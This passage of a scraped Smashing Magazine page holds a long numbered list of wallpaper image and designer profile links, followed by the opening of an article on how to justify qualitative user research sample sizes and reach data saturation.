  768. 768 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/cal/apr-17-spring-magic-cal-800×600.png
  769. 769 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/cal/apr-17-spring-magic-cal-1024×768.png
  770. 770 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/cal/apr-17-spring-magic-cal-1024×1024.png
  771. 771 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/cal/apr-17-spring-magic-cal-1152×864.png
  772. 772 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/cal/apr-17-spring-magic-cal-1280×720.png
  773. 773 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/cal/apr-17-spring-magic-cal-1280×800.png
  774. 774 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/cal/apr-17-spring-magic-cal-1280×960.png
  775. 775 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/cal/apr-17-spring-magic-cal-1280×1024.png
  776. 776 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/cal/apr-17-spring-magic-cal-1366×768.png
  777. 777 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/cal/apr-17-spring-magic-cal-1400×1050.png
  778. 778 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/cal/apr-17-spring-magic-cal-1440×900.png
  779. 779 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/cal/apr-17-spring-magic-cal-1600×1200.png
  780. 780 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/cal/apr-17-spring-magic-cal-1680×1050.png
  781. 781 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/cal/apr-17-spring-magic-cal-1680×1200.png
  782. 782 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/cal/apr-17-spring-magic-cal-1920×1080.png
  783. 783 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/cal/apr-17-spring-magic-cal-1920×1200.png
  784. 784 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/cal/apr-17-spring-magic-cal-1920×1440.png
  785. 785 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/cal/apr-17-spring-magic-cal-2560×1440.png
  786. 786 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-320×480.png
  787. 787 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-640×480.png
  788. 788 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-800×480.png
  789. 789 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-800×600.png
  790. 790 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-1024×768.png
  791. 791 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-1024×1024.png
  792. 792 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-1152×864.png
  793. 793 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-1280×720.png
  794. 794 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-1280×800.png
  795. 795 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-1280×960.png
  796. 796 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-1280×1024.png
  797. 797 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-1366×768.png
  798. 798 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-1400×1050.png
  799. 799 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-1440×900.png
  800. 800 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-1600×1200.png
  801. 801 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-1680×1050.png
  802. 802 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-1680×1200.png
  803. 803 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-1920×1080.png
  804. 804 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-1920×1200.png
  805. 805 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-1920×1440.png
  806. 806 http://files.smashingmagazine.com/wallpapers/apr-17/spring-magic/nocal/apr-17-spring-magic-nocal-2560×1440.png
  807. 807 http://fairybrookedesign.wixsite.com/portfolio
  808. 808 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/apr-17-tea-time-full.jpg
  809. 809 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/apr-17-tea-time-preview.jpg
  810. 810 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/cal/apr-17-tea-time-cal-640×480.jpg
  811. 811 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/cal/apr-17-tea-time-cal-800×480.jpg
  812. 812 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/cal/apr-17-tea-time-cal-800×600.jpg
  813. 813 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/cal/apr-17-tea-time-cal-1024×768.jpg
  814. 814 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/cal/apr-17-tea-time-cal-1024×1024.jpg
  815. 815 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/cal/apr-17-tea-time-cal-1152×864.jpg
  816. 816 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/cal/apr-17-tea-time-cal-1280×720.jpg
  817. 817 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/cal/apr-17-tea-time-cal-1280×800.jpg
  818. 818 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/cal/apr-17-tea-time-cal-1280×960.jpg
  819. 819 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/cal/apr-17-tea-time-cal-1280×1024.jpg
  820. 820 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/cal/apr-17-tea-time-cal-1400×1050.jpg
  821. 821 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/cal/apr-17-tea-time-cal-1440×900.jpg
  822. 822 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/cal/apr-17-tea-time-cal-1600×1200.jpg
  823. 823 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/cal/apr-17-tea-time-cal-1680×1050.jpg
  824. 824 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/cal/apr-17-tea-time-cal-1680×1200.jpg
  825. 825 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/cal/apr-17-tea-time-cal-1920×1080.jpg
  826. 826 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/cal/apr-17-tea-time-cal-1920×1200.jpg
  827. 827 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/cal/apr-17-tea-time-cal-1920×1440.jpg
  828. 828 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/cal/apr-17-tea-time-cal-2560×1440.jpg
  829. 829 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/nocal/apr-17-tea-time-nocal-640×480.jpg
  830. 830 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/nocal/apr-17-tea-time-nocal-800×480.jpg
  831. 831 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/nocal/apr-17-tea-time-nocal-800×600.jpg
  832. 832 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/nocal/apr-17-tea-time-nocal-1024×768.jpg
  833. 833 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/nocal/apr-17-tea-time-nocal-1024×1024.jpg
  834. 834 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/nocal/apr-17-tea-time-nocal-1152×864.jpg
  835. 835 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/nocal/apr-17-tea-time-nocal-1280×720.jpg
  836. 836 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/nocal/apr-17-tea-time-nocal-1280×800.jpg
  837. 837 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/nocal/apr-17-tea-time-nocal-1280×960.jpg
  838. 838 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/nocal/apr-17-tea-time-nocal-1280×1024.jpg
  839. 839 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/nocal/apr-17-tea-time-nocal-1400×1050.jpg
  840. 840 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/nocal/apr-17-tea-time-nocal-1440×900.jpg
  841. 841 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/nocal/apr-17-tea-time-nocal-1600×1200.jpg
  842. 842 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/nocal/apr-17-tea-time-nocal-1680×1050.jpg
  843. 843 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/nocal/apr-17-tea-time-nocal-1680×1200.jpg
  844. 844 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/nocal/apr-17-tea-time-nocal-1920×1080.jpg
  845. 845 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/nocal/apr-17-tea-time-nocal-1920×1200.jpg
  846. 846 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/nocal/apr-17-tea-time-nocal-1920×1440.jpg
  847. 847 http://files.smashingmagazine.com/wallpapers/apr-17/tea-time/nocal/apr-17-tea-time-nocal-2560×1440.jpg
  848. 848 https://www.xing.com/profile/Sabrina_Lobien
  849. 849 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/apr-17-flowers-on-the-wall-full.png
  850. 850 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/apr-17-flowers-on-the-wall-preview.png
  851. 851 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/cal/apr-17-flowers-on-the-wall-cal-1280×1024.png
  852. 852 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/cal/apr-17-flowers-on-the-wall-cal-1920×1080.png
  853. 853 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/cal/apr-17-flowers-on-the-wall-cal-1920×1200.png
  854. 854 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/cal/apr-17-flowers-on-the-wall-cal-1920×1440.png
  855. 855 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/cal/apr-17-flowers-on-the-wall-cal-2560×1440.png
  856. 856 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/nocal/apr-17-flowers-on-the-wall-nocal-1280×1024.png
  857. 857 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/nocal/apr-17-flowers-on-the-wall-nocal-1920×1080.png
  858. 858 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/nocal/apr-17-flowers-on-the-wall-nocal-1920×1200.png
  859. 859 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/nocal/apr-17-flowers-on-the-wall-nocal-1920×1440.png
  860. 860 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/nocal/apr-17-flowers-on-the-wall-nocal-2560×1440.png
  861. 861 http://www.facebook.com/doud.design
  862. 862 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/apr-17-what-does-the-fox-say-full.jpg
  863. 863 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/apr-17-what-does-the-fox-say-preview.jpg
  864. 864 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-1366×768.jpg
  865. 865 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-1400×1050.jpg
  866. 866 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-1440×900.jpg
  867. 867 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-1600×1200.jpg
  868. 868 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-1680×1050.jpg
  869. 869 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-1680×1200.jpg
  870. 870 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-1920×1080.jpg
  871. 871 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-1920×1200.jpg
  872. 872 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-1920×1440.jpg
  873. 873 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-2560×1440.jpg
  874. 874 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-1366×768.jpg
  875. 875 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-1400×1050.jpg
  876. 876 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-1440×900.jpg
  877. 877 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-1600×1200.jpg
  878. 878 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-1680×1050.jpg
  879. 879 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-1680×1200.jpg
  880. 880 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-1920×1080.jpg
  881. 881 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-1920×1200.jpg
  882. 882 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-1920×1440.jpg
  883. 883 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-2560×1440.jpg
  884. 884 http://www.colormean.com/
  885. 885 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/apr-17-aprils-octave-full.png
  886. 886 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/apr-17-aprils-octave-preview.png
  887. 887 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-320×480.png
  888. 888 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-640×480.png
  889. 889 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-800×480.png
  890. 890 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-800×600.png
  891. 891 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1024×768.png
  892. 892 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1024×1024.png
  893. 893 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1152×864.png
  894. 894 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1280×720.png
  895. 895 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1280×800.png
  896. 896 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1280×960.png
  897. 897 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1280×1024.png
  898. 898 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1366×768.png
  899. 899 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1440×900.png
  900. 900 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1440×1050.png
  901. 901 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1600×1200.png
  902. 902 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1680×1050.png
  903. 903 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1680×1200.png
  904. 904 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1920×1080.png
  905. 905 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1920×1200.png
  906. 906 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1920×1440.png
  907. 907 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-2560×1440.png
  908. 908 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-320×480.png
  909. 909 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-640×480.png
  910. 910 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-800×480.png
  911. 911 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-800×600.png
  912. 912 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1024×768.png
  913. 913 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1024×1024.png
  914. 914 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1152×864.png
  915. 915 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1280×720.png
  916. 916 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1280×800.png
  917. 917 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1280×960.png
  918. 918 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1280×1024.png
  919. 919 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1366×768.png
  920. 920 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1440×900.png
  921. 921 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1440×1050.png
  922. 922 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1600×1200.png
  923. 923 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1680×1050.png
  924. 924 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1680×1200.png
  925. 925 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1920×1080.png
  926. 926 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1920×1200.png
  927. 927 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1920×1440.png
  928. 928 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-2560×1440.png
  929. 929 https://loadedlandscapes.com/
  930. 930 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/apr-17-new-beginnings-full.jpg
  931. 931 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/apr-17-new-beginnings-preview.jpg
  932. 932 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-320×480.jpg
  933. 933 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-640×480.jpg
  934. 934 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-800×480.jpg
  935. 935 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-800×600.jpg
  936. 936 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1024×768.jpg
  937. 937 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1024×1024.jpg
  938. 938 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1152×864.jpg
  939. 939 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1280×720.jpg
  940. 940 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1280×800.jpg
  941. 941 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1280×960.jpg
  942. 942 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1280×1024.jpg
  943. 943 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1366×768.jpg
  944. 944 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1400×1050.jpg
  945. 945 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1440×900.jpg
  946. 946 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1600×1200.jpg
  947. 947 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1680×1050.jpg
  948. 948 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1680×1200.jpg
  949. 949 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1920×1080.jpg
  950. 950 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1920×1200.jpg
  951. 951 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1920×1440.jpg
  952. 952 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-2560×1440.jpg
  953. 953 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-320×480.jpg
  954. 954 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-640×480.jpg
  955. 955 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-800×480.jpg
  956. 956 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-800×600.jpg
  957. 957 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1024×768.jpg
  958. 958 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1024×1024.jpg
  959. 959 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1152×864.jpg
  960. 960 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1280×720.jpg
  961. 961 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1280×800.jpg
  962. 962 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1280×960.jpg
  963. 963 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1280×1024.jpg
  964. 964 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1366×768.jpg
  965. 965 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1400×1050.jpg
  966. 966 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1440×900.jpg
  967. 967 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1600×1200.jpg
  968. 968 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1680×1050.jpg
  969. 969 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1680×1200.jpg
  970. 970 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1920×1080.jpg
  971. 971 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1920×1200.jpg
  972. 972 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1920×1440.jpg
  973. 973 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-2560×1440.jpg
  974. 974 https://www.smashingmagazine.com/desktop-wallpaper-calendars-join-in/

↑ Back to topTweet itShare on Facebook

Filling Up Your Tank, Or How To Justify User Research Sample Size And Data

by

Filling Up Your Tank, Or How To Justify User Research Sample Size And Data

Jen is presenting her research report to a client, who runs an e-commerce website. She conducted interviews with 12 potential users. Her goal was to understand the conditions under which users choose to shop online versus in store. The client asks Jen why they should trust her research when she has spoken to only 12 people. Jen explains her process to the client. She shares how she determined the sample size and collected and analyzed her data through the lens of data saturation. The client feels comfortable with the explanation. She asks Jen to continue the presentation.

Further Reading on SmashingMag: Link

Introduction Link

Researchers must justify the sample size of their studies. Clients, colleagues and investors want to know they can trust a study’s recommendations. They base a lot of trust on sample population and size. Did you talk to the right people? Did you talk to the right number of people? Researchers must also know how to make the most of the data they collect. Your sample size won’t matter if you haven’t asked good questions and done thorough analysis.

Quantitative research methods (such as surveys) come with effective statistical techniques for determining a sample size. This is based on the population size you are studying and the level of confidence desired in the results. Many stakeholders are familiar with quantitative methods and terms such as “statistical significance.” These stakeholders tend to carry this understanding across all research projects and are, therefore, expecting to hear similar terms and hear of similar sample sizes across research projects.

Qualitative researchers need to set the context for stakeholders. Qualitative research methods (such as interviews) currently have no similar commonly accepted technique. Yet, there are steps you should take to ensure you have collected and analyzed the right amount of data.

In this article, I will propose a formula for determining qualitative sample sizes in user research. I’ll also discuss how to collect and analyze data in order to achieve “data saturation.” Finally, I will provide a case study highlighting the concepts explored in this article.

5
(Image credit: Brandon Sax1714106) (View large version7)

Qualitative Research Sample Sizes Link

As researchers, or members of teams that work with researchers, we need to understand and convey to others why we’ve chosen a particular sample size.

I’ll give you the bad news first. We don’t have an agreed-upon formula to determine an exact sample size for qualitative research. Anyone who says otherwise is wrong. We do have some suggested guidelines based on precedent in academic studies. We often use smaller sample sizes for qualitative research. I have been in projects that include interviews with fewer than 10 people. I have also been in projects in which we’ve interviewed dozens of people. Jakob Nielson suggests a sample size of five for usability testing. However, he adds a number of qualifiers, and the suggestion is limited to usability testing studies, not exploratory interviews, contextual inquiry or other qualitative methods commonly used in the generative stages of research.

So, how do we determine a qualitative sample size? We need to understand the purpose of our research. We conduct qualitative research to gain a deep understanding of something (an event, issue, problem or solution). This is different from quantitative research, whose purpose is to quantify, or measure the presence of, something. Quantification usually provides a shallow yet broad view of an issue.

You can determine your qualitative research sample size on a rolling basis. Or you can state the sample size up front.

If you are an academic researcher in a multi-year project, or you have a large budget and generous timeline, you can suggest a rolling sample size. You’d collect data from a set number of participants. At the same time, you’d analyze the data and determine whether you need to collect more data. This approach leads to large amounts of data and greater certainty in your findings. You will have a deep and broad view of the issue that you are designing to address. You would stop collecting data because you have exhausted the need to continue collecting data. You will likely end up with a larger sample size.

Most clients or projects require you to state a predetermined sample size. Reality, in the form of budget and time, often dictates sample sizes. You won’t have time to interview 50 people and do a thorough analysis of the data if your project is expected to move from research to design to development over an 8- to 10-week period. A sample size of 10 to 12 is probably more realistic for a project like this. You will probably have two weeks to get from recruitment to analysis. You would stop because you have exhausted the resources for your study. Yet our clients and peers want us to make impactful recommendations from this data.

Your use of a rolling or predetermined sample size will determine how you speak about why you stopped collecting data. For a rolling sample, you could say, “We stopped collecting data after analysis found it would no longer prove valuable to collect more data.” If you use a predetermined sample size, you could say, “We stopped collecting data after we interviewed (or observed, etc.) the predetermined number we agreed upon. We fully analyzed the data collected.”

